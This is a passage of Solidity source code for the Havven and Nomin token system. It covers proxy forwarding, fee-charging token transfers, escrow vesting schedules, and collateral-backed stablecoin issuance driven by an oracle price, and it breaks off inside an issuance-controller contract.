if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "This action can only be performed by the proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract ExternStateToken is SafeDecimalMath, SelfDestructible, Proxyable, ReentrancyPreventer {
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
tokenState = _tokenState;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value)
internal
preventReentrancy
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), value));
tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), value));
uint length;
assembly {
length := extcodesize(to)
}
if (length > 0) {
to.call(0xcbff5d96, messageSender, value);
}
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value)
internal
returns (bool)
{
return _internalTransfer(from, to, value);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value));
return _internalTransfer(from, to, value);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract FeeToken is ExternStateToken {
uint public transferFeeRate;
uint constant MAX_TRANSFER_FEE_RATE = UNIT / 10;
address public feeAuthority;
address public constant FEE_ADDRESS = 0xfeefeefeefeefeefeefeefeefeefeefeefeefeef;
constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply,
uint _transferFeeRate, address _feeAuthority, address _owner)
ExternStateToken(_proxy, _tokenState,
_name, _symbol, _totalSupply,
_owner)
public
{
feeAuthority = _feeAuthority;
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
transferFeeRate = _transferFeeRate;
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
emitTransferFeeRateUpdated(_transferFeeRate);
}
function setFeeAuthority(address _feeAuthority)
public
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return safeMul_dec(value, transferFeeRate);
}
function transferPlusFee(uint value)
external
view
returns (uint)
{
return safeAdd(value, transferFeeIncurred(value));
}
function amountReceived(uint value)
public
view
returns (uint)
{
return safeDiv_dec(value, safeAdd(UNIT, transferFeeRate));
}
function feePool()
external
view
returns (uint)
{
return tokenState.balanceOf(FEE_ADDRESS);
}
function _internalTransfer(address from, address to, uint amount, uint fee)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), safeAdd(amount, fee)));
tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), amount));
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), fee));
emitTransfer(from, to, amount);
emitTransfer(from, FEE_ADDRESS, fee);
return true;
}
function _transfer_byProxy(address sender, address to, uint value)
internal
returns (bool)
{
uint received = amountReceived(value);
uint fee = safeSub(value, received);
return _internalTransfer(sender, to, received, fee);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
uint received = amountReceived(value);
uint fee = safeSub(value, received);
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value));
return _internalTransfer(from, to, received, fee);
}
function _transferSenderPaysFee_byProxy(address sender, address to, uint value)
internal
returns (bool)
{
uint fee = transferFeeIncurred(value);
return _internalTransfer(sender, to, value, fee);
}
function _transferFromSenderPaysFee_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
uint fee = transferFeeIncurred(value);
uint total = safeAdd(value, fee);
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), total));
return _internalTransfer(from, to, value, fee);
}
function withdrawFees(address account, uint value)
external
onlyFeeAuthority
returns (bool)
{
require(account != address(0), "Must supply an account address to withdraw fees");
if (value == 0) {
return false;
}
tokenState.setBalanceOf(FEE_ADDRESS, safeSub(tokenState.balanceOf(FEE_ADDRESS), value));
tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), value));
emitFeesWithdrawn(account, value);
emitTransfer(FEE_ADDRESS, account, value);
return true;
}
function donateToFeePool(uint n)
external
optionalProxy
returns (bool)
{
address sender = messageSender;
uint balance = tokenState.balanceOf(sender);
require(balance != 0, "Must have a balance in order to donate to the fee pool");
tokenState.setBalanceOf(sender, safeSub(balance, n));
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), n));
emitFeesDonated(sender, n);
emitTransfer(sender, FEE_ADDRESS, n);
return true;
}
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority, "Only the fee authority can do this action");
_;
}
event TransferFeeRateUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEERATEUPDATED_SIG = keccak256("TransferFeeRateUpdated(uint256)");
function emitTransferFeeRateUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEERATEUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeesWithdrawn(address indexed account, uint value);
bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)");
function emitFeesWithdrawn(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0);
}
event FeesDonated(address indexed donor, uint value);
bytes32 constant FEESDONATED_SIG = keccak256("FeesDonated(address,uint256)");
function emitFeesDonated(address donor, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESDONATED_SIG, bytes32(donor), 0, 0);
}
}
contract Nomin is FeeToken {
Havven public havven;
mapping(address => bool) public frozen;
uint constant TRANSFER_FEE_RATE = 15 * UNIT / 10000;
string constant TOKEN_NAME = "Nomin USD";
string constant TOKEN_SYMBOL = "nUSD";
constructor(address _proxy, TokenState _tokenState, Havven _havven,
uint _totalSupply,
address _owner)
FeeToken(_proxy, _tokenState,
TOKEN_NAME, TOKEN_SYMBOL, _totalSupply,
TRANSFER_FEE_RATE,
_havven,
_owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_havven) != 0, "_havven cannot be 0");
require(_owner != 0, "_owner cannot be 0");
frozen[FEE_ADDRESS] = true;
havven = _havven;
}
function setHavven(Havven _havven)
external
optionalProxy_onlyOwner
{
havven = _havven;
setFeeAuthority(_havven);
emitHavvenUpdated(_havven);
}
function transfer(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transfer_byProxy(messageSender, to, value);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transferFrom_byProxy(messageSender, from, to, value);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transferSenderPaysFee_byProxy(messageSender, to, value);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transferFromSenderPaysFee_byProxy(messageSender, from, to, value);
}
function unfreezeAccount(address target)
external
optionalProxy_onlyOwner
{
require(frozen[target] && target != FEE_ADDRESS, "Account must be frozen, and cannot be the fee address");
frozen[target] = false;
emitAccountUnfrozen(target);
}
function issue(address account, uint amount)
external
onlyHavven
{
tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), amount));
totalSupply = safeAdd(totalSupply, amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlyHavven
{
tokenState.setBalanceOf(account, safeSub(tokenState.balanceOf(account), amount));
totalSupply = safeSub(totalSupply, amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
modifier onlyHavven() {
require(Havven(msg.sender) == havven, "Only the Havven contract can perform this action");
_;
}
event HavvenUpdated(address newHavven);
bytes32 constant HAVVENUPDATED_SIG = keccak256("HavvenUpdated(address)");
function emitHavvenUpdated(address newHavven) internal {
proxy._emit(abi.encode(newHavven), 1, HAVVENUPDATED_SIG, 0, 0, 0);
}
event AccountFrozen(address indexed target, uint balance);
bytes32 constant ACCOUNTFROZEN_SIG = keccak256("AccountFrozen(address,uint256)");
function emitAccountFrozen(address target, uint balance) internal {
proxy._emit(abi.encode(balance), 2, ACCOUNTFROZEN_SIG, bytes32(target), 0, 0);
}
event AccountUnfrozen(address indexed target);
bytes32 constant ACCOUNTUNFROZEN_SIG = keccak256("AccountUnfrozen(address)");
function emitAccountUnfrozen(address target) internal {
proxy._emit(abi.encode(), 2, ACCOUNTUNFROZEN_SIG, bytes32(target), 0, 0);
}
event Issued(address indexed account, uint amount);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint amount) internal {
proxy._emit(abi.encode(amount), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint amount);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint amount) internal {
proxy._emit(abi.encode(amount), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract HavvenEscrow is SafeDecimalMath, Owned, LimitedSetup(8 weeks) {
Havven public havven;
mapping(address => uint[2][]) public vestingSchedules;
mapping(address => uint) public totalVestedAccountBalance;
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
uint constant MAX_VESTING_ENTRIES = 20;
constructor(address _owner, Havven _havven)
Owned(_owner)
public
{
havven = _havven;
}
function setHavven(Havven _havven)
external
onlyOwner
{
havven = _havven;
emit HavvenUpdated(_havven);
}
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
function withdrawHavvens(uint quantity)
external
onlyOwner
onlyDuringSetup
{
havven.transfer(havven, quantity);
}
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = safeSub(totalVestedBalance, totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
require(now < time, "Time must be in the future");
require(quantity != 0, "Quantity cannot be zero");
totalVestedBalance = safeAdd(totalVestedBalance, quantity);
require(totalVestedBalance <= havven.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry");
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one");
totalVestedAccountBalance[account] = safeAdd(totalVestedAccountBalance[account], quantity);
}
vestingSchedules[account].push([time, quantity]);
}
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = safeAdd(total, qty);
}
if (total != 0) {
totalVestedBalance = safeSub(totalVestedBalance, total);
totalVestedAccountBalance[msg.sender] = safeSub(totalVestedAccountBalance[msg.sender], total);
havven.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
event HavvenUpdated(address newHavven);
event Vested(address indexed beneficiary, uint time, uint value);
}
contract Havven is ExternStateToken {
struct IssuanceData {
uint currentBalanceSum;
uint lastAverageBalance;
uint lastModified;
}
mapping(address => IssuanceData) public issuanceData;
IssuanceData public totalIssuanceData;
uint public feePeriodStartTime;
uint public lastFeePeriodStartTime;
uint public feePeriodDuration = 4 weeks;
uint constant MIN_FEE_PERIOD_DURATION = 1 days;
uint constant MAX_FEE_PERIOD_DURATION = 26 weeks;
uint public lastFeesCollected;
mapping(address => bool) public hasWithdrawnFees;
Nomin public nomin;
HavvenEscrow public escrow;
address public oracle;
uint public price;
uint public lastPriceUpdateTime;
uint public priceStalePeriod = 3 hours;
uint public issuanceRatio = UNIT / 5;
uint constant MAX_ISSUANCE_RATIO = UNIT;
mapping(address => bool) public isIssuer;
mapping(address => uint) public nominsIssued;
uint constant HAVVEN_SUPPLY = 1e8 * UNIT;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
string constant TOKEN_NAME = "Havven";
string constant TOKEN_SYMBOL = "HAV";
constructor(address _proxy, TokenState _tokenState, address _owner, address _oracle,
uint _price, address[] _issuers, Havven _oldHavven)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, HAVVEN_SUPPLY, _owner)
public
{
oracle = _oracle;
price = _price;
lastPriceUpdateTime = now;
uint i;
if (_oldHavven == address(0)) {
feePeriodStartTime = now;
lastFeePeriodStartTime = now - feePeriodDuration;
for (i = 0; i < _issuers.length; i++) {
isIssuer[_issuers[i]] = true;
}
} else {
feePeriodStartTime = _oldHavven.feePeriodStartTime();
lastFeePeriodStartTime = _oldHavven.lastFeePeriodStartTime();
uint cbs;
uint lab;
uint lm;
(cbs, lab, lm) = _oldHavven.totalIssuanceData();
totalIssuanceData.currentBalanceSum = cbs;
totalIssuanceData.lastAverageBalance = lab;
totalIssuanceData.lastModified = lm;
for (i = 0; i < _issuers.length; i++) {
address issuer = _issuers[i];
isIssuer[issuer] = true;
uint nomins = _oldHavven.nominsIssued(issuer);
if (nomins == 0) {
continue;
}
(cbs, lab, lm) = _oldHavven.issuanceData(issuer);
nominsIssued[issuer] = nomins;
issuanceData[issuer].currentBalanceSum = cbs;
issuanceData[issuer].lastAverageBalance = lab;
issuanceData[issuer].lastModified = lm;
}
}
}
function setNomin(Nomin _nomin)
external
optionalProxy_onlyOwner
{
nomin = _nomin;
emitNominUpdated(_nomin);
}
function setEscrow(HavvenEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
emitEscrowUpdated(_escrow);
}
function setFeePeriodDuration(uint duration)
external
optionalProxy_onlyOwner
{
require(MIN_FEE_PERIOD_DURATION <= duration && duration <= MAX_FEE_PERIOD_DURATION,
"Duration must be between MIN_FEE_PERIOD_DURATION and MAX_FEE_PERIOD_DURATION");
feePeriodDuration = duration;
emitFeePeriodDurationUpdated(duration);
rolloverFeePeriodIfElapsed();
}
function setOracle(address _oracle)
external
optionalProxy_onlyOwner
{
oracle = _oracle;
emitOracleUpdated(_oracle);
}
function setPriceStalePeriod(uint time)
external
optionalProxy_onlyOwner
{
priceStalePeriod = time;
}
function setIssuanceRatio(uint _issuanceRatio)
external
optionalProxy_onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio must be less than or equal to MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emitIssuanceRatioUpdated(_issuanceRatio);
}
function setIssuer(address account, bool value)
external
optionalProxy_onlyOwner
{
isIssuer[account] = value;
emitIssuersUpdated(account, value);
}
function issuanceCurrentBalanceSum(address account)
external
view
returns (uint)
{
return issuanceData[account].currentBalanceSum;
}
function issuanceLastAverageBalance(address account)
external
view
returns (uint)
{
return issuanceData[account].lastAverageBalance;
}
function issuanceLastModified(address account)
external
view
returns (uint)
{
return issuanceData[account].lastModified;
}
function totalIssuanceCurrentBalanceSum()
external
view
returns (uint)
{
return totalIssuanceData.currentBalanceSum;
}
function totalIssuanceLastAverageBalance()
external
view
returns (uint)
{
return totalIssuanceData.lastAverageBalance;
}
function totalIssuanceLastModified()
external
view
returns (uint)
{
return totalIssuanceData.lastModified;
}
function transfer(address to, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
require(nominsIssued[sender] == 0 || value <= transferableHavvens(sender), "Value to transfer exceeds available havvens");
_transfer_byProxy(sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
require(nominsIssued[from] == 0 || value <= transferableHavvens(from), "Value to transfer exceeds available havvens");
_transferFrom_byProxy(sender, from, to, value);
return true;
}
function withdrawFees()
external
optionalProxy
{
address sender = messageSender;
rolloverFeePeriodIfElapsed();
require(!nomin.frozen(sender), "Cannot deposit fees into frozen accounts");
updateIssuanceData(sender, nominsIssued[sender], nomin.totalSupply());
require(!hasWithdrawnFees[sender], "Fees have already been withdrawn in this period");
uint feesOwed;
uint lastTotalIssued = totalIssuanceData.lastAverageBalance;
if (lastTotalIssued > 0) {
feesOwed = safeDiv_dec(
safeMul_dec(issuanceData[sender].lastAverageBalance, lastFeesCollected),
lastTotalIssued
);
}
hasWithdrawnFees[sender] = true;
if (feesOwed != 0) {
nomin.withdrawFees(sender, feesOwed);
}
emitFeesWithdrawn(messageSender, feesOwed);
}
function updateIssuanceData(address account, uint preBalance, uint lastTotalSupply)
internal
{
totalIssuanceData = computeIssuanceData(lastTotalSupply, totalIssuanceData);
if (issuanceData[account].lastModified < feePeriodStartTime) {
hasWithdrawnFees[account] = false;
}
issuanceData[account] = computeIssuanceData(preBalance, issuanceData[account]);
}
function computeIssuanceData(uint preBalance, IssuanceData preIssuance)
internal
view
returns (IssuanceData)
{
uint currentBalanceSum = preIssuance.currentBalanceSum;
uint lastAverageBalance = preIssuance.lastAverageBalance;
uint lastModified = preIssuance.lastModified;
if (lastModified < feePeriodStartTime) {
if (lastModified < lastFeePeriodStartTime) {
lastAverageBalance = preBalance;
} else {
uint timeUpToRollover = feePeriodStartTime - lastModified;
uint lastFeePeriodDuration = feePeriodStartTime - lastFeePeriodStartTime;
uint lastBalanceSum = safeAdd(currentBalanceSum, safeMul(preBalance, timeUpToRollover));
lastAverageBalance = lastBalanceSum / lastFeePeriodDuration;
}
currentBalanceSum = safeMul(preBalance, now - feePeriodStartTime);
} else {
currentBalanceSum = safeAdd(
currentBalanceSum,
safeMul(preBalance, now - lastModified)
);
}
return IssuanceData(currentBalanceSum, lastAverageBalance, now);
}
function recomputeLastAverageBalance(address account)
external
returns (uint)
{
updateIssuanceData(account, nominsIssued[account], nomin.totalSupply());
return issuanceData[account].lastAverageBalance;
}
function issueNomins(uint amount)
public
optionalProxy
requireIssuer(messageSender)
{
address sender = messageSender;
require(amount <= remainingIssuableNomins(sender), "Amount must be less than or equal to remaining issuable nomins");
uint lastTot = nomin.totalSupply();
uint preIssued = nominsIssued[sender];
nomin.issue(sender, amount);
nominsIssued[sender] = safeAdd(preIssued, amount);
updateIssuanceData(sender, preIssued, lastTot);
}
function issueMaxNomins()
external
optionalProxy
{
issueNomins(remainingIssuableNomins(messageSender));
}
function burnNomins(uint amount)
external
optionalProxy
{
address sender = messageSender;
uint lastTot = nomin.totalSupply();
uint preIssued = nominsIssued[sender];
nomin.burn(sender, amount);
nominsIssued[sender] = safeSub(preIssued, amount);
updateIssuanceData(sender, preIssued, lastTot);
}
function rolloverFeePeriodIfElapsed()
public
{
if (now >= feePeriodStartTime + feePeriodDuration) {
lastFeesCollected = nomin.feePool();
lastFeePeriodStartTime = feePeriodStartTime;
feePeriodStartTime = now;
emitFeePeriodRollover(now);
}
}
function maxIssuableNomins(address issuer)
view
public
priceNotStale
returns (uint)
{
if (!isIssuer[issuer]) {
return 0;
}
if (escrow != HavvenEscrow(0)) {
uint totalOwnedHavvens = safeAdd(tokenState.balanceOf(issuer), escrow.balanceOf(issuer));
return safeMul_dec(HAVtoUSD(totalOwnedHavvens), issuanceRatio);
} else {
return safeMul_dec(HAVtoUSD(tokenState.balanceOf(issuer)), issuanceRatio);
}
}
function remainingIssuableNomins(address issuer)
view
public
returns (uint)
{
uint issued = nominsIssued[issuer];
uint max = maxIssuableNomins(issuer);
if (issued > max) {
return 0;
} else {
return safeSub(max, issued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint bal = tokenState.balanceOf(account);
if (escrow != address(0)) {
bal = safeAdd(bal, escrow.balanceOf(account));
}
return bal;
}
function issuanceDraft(address account)
public
view
returns (uint)
{
uint issued = nominsIssued[account];
if (issued == 0) {
return 0;
}
return USDtoHAV(safeDiv_dec(issued, issuanceRatio));
}
function lockedCollateral(address account)
public
view
returns (uint)
{
uint debt = issuanceDraft(account);
uint collat = collateral(account);
if (debt > collat) {
return collat;
}
return debt;
}
function unlockedCollateral(address account)
public
view
returns (uint)
{
uint locked = lockedCollateral(account);
uint collat = collateral(account);
return safeSub(collat, locked);
}
function transferableHavvens(address account)
public
view
returns (uint)
{
uint draft = issuanceDraft(account);
uint collat = collateral(account);
if (draft > collat) {
return 0;
}
uint bal = balanceOf(account);
if (draft > safeSub(collat, bal)) {
return safeSub(collat, draft);
}
return bal;
}
function HAVtoUSD(uint hav_dec)
public
view
priceNotStale
returns (uint)
{
return safeMul_dec(hav_dec, price);
}
function USDtoHAV(uint usd_dec)
public
view
priceNotStale
returns (uint)
{
return safeDiv_dec(usd_dec, price);
}
function updatePrice(uint newPrice, uint timeSent)
external
onlyOracle
{
require(lastPriceUpdateTime < timeSent && timeSent < now + ORACLE_FUTURE_LIMIT,
"Time sent must be bigger than the last update, and must be less than now + ORACLE_FUTURE_LIMIT");
price = newPrice;
lastPriceUpdateTime = timeSent;
emitPriceUpdated(newPrice, timeSent);
rolloverFeePeriodIfElapsed();
}
function priceIsStale()
public
view
returns (bool)
{
return safeAdd(lastPriceUpdateTime, priceStalePeriod) < now;
}
modifier requireIssuer(address account)
{
require(isIssuer[account], "Must be issuer to perform this action");
_;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Must be oracle to perform this action");
_;
}
modifier priceNotStale
{
require(!priceIsStale(), "Price must not be stale to perform this action");
_;
}
event PriceUpdated(uint newPrice, uint timestamp);
bytes32 constant PRICEUPDATED_SIG = keccak256("PriceUpdated(uint256,uint256)");
function emitPriceUpdated(uint newPrice, uint timestamp) internal {
proxy._emit(abi.encode(newPrice, timestamp), 1, PRICEUPDATED_SIG, 0, 0, 0);
}
event IssuanceRatioUpdated(uint newRatio);
bytes32 constant ISSUANCERATIOUPDATED_SIG = keccak256("IssuanceRatioUpdated(uint256)");
function emitIssuanceRatioUpdated(uint newRatio) internal {
proxy._emit(abi.encode(newRatio), 1, ISSUANCERATIOUPDATED_SIG, 0, 0, 0);
}
event FeePeriodRollover(uint timestamp);
bytes32 constant FEEPERIODROLLOVER_SIG = keccak256("FeePeriodRollover(uint256)");
function emitFeePeriodRollover(uint timestamp) internal {
proxy._emit(abi.encode(timestamp), 1, FEEPERIODROLLOVER_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint duration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint duration) internal {
proxy._emit(abi.encode(duration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeesWithdrawn(address indexed account, uint value);
bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)");
function emitFeesWithdrawn(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0);
}
event OracleUpdated(address newOracle);
bytes32 constant ORACLEUPDATED_SIG = keccak256("OracleUpdated(address)");
function emitOracleUpdated(address newOracle) internal {
proxy._emit(abi.encode(newOracle), 1, ORACLEUPDATED_SIG, 0, 0, 0);
}
event NominUpdated(address newNomin);
bytes32 constant NOMINUPDATED_SIG = keccak256("NominUpdated(address)");
function emitNominUpdated(address newNomin) internal {
proxy._emit(abi.encode(newNomin), 1, NOMINUPDATED_SIG, 0, 0, 0);
}
event EscrowUpdated(address newEscrow);
bytes32 constant ESCROWUPDATED_SIG = keccak256("EscrowUpdated(address)");
function emitEscrowUpdated(address newEscrow) internal {
proxy._emit(abi.encode(newEscrow), 1, ESCROWUPDATED_SIG, 0, 0, 0);
}
event IssuersUpdated(address indexed account, bool indexed value);
bytes32 constant ISSUERSUPDATED_SIG = keccak256("IssuersUpdated(address,bool)");
function emitIssuersUpdated(address account, bool value) internal {
proxy._emit(abi.encode(), 3, ISSUERSUPDATED_SIG, bytes32(account), bytes32(value ? 1 : 0), 0);
}
}
contract IssuanceController is SafeDecimalMath, SelfDestructible, Pausable {
Havven public havven;
Nomin public nomin;
address public fundsWallet;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public priceStalePeriod = 3 hours;
uint public lastPriceUpdateTime;
uint public usdToHavPrice;
uint public usdToEthPrice;
constructor(
address _owner,
address _fundsWallet,
Havven _havven,
Nomin _nomin,
address _oracle,
uint _usdToEthPrice,
uint _usdToHavPrice
)
SelfDestructible(_owner)
Pausable(_owner)
public
{
fundsWallet = _fundsWallet;
havven = _havven;
nomin = _nomin;
oracle = _oracle;
usdToEthPrice = _usdToEthPrice;
usdToHavPrice = _usdToHavPrice;
lastPriceUpdateTime = now;
}
function setFundsWallet(address _fundsWallet)
external
onlyOwner
{
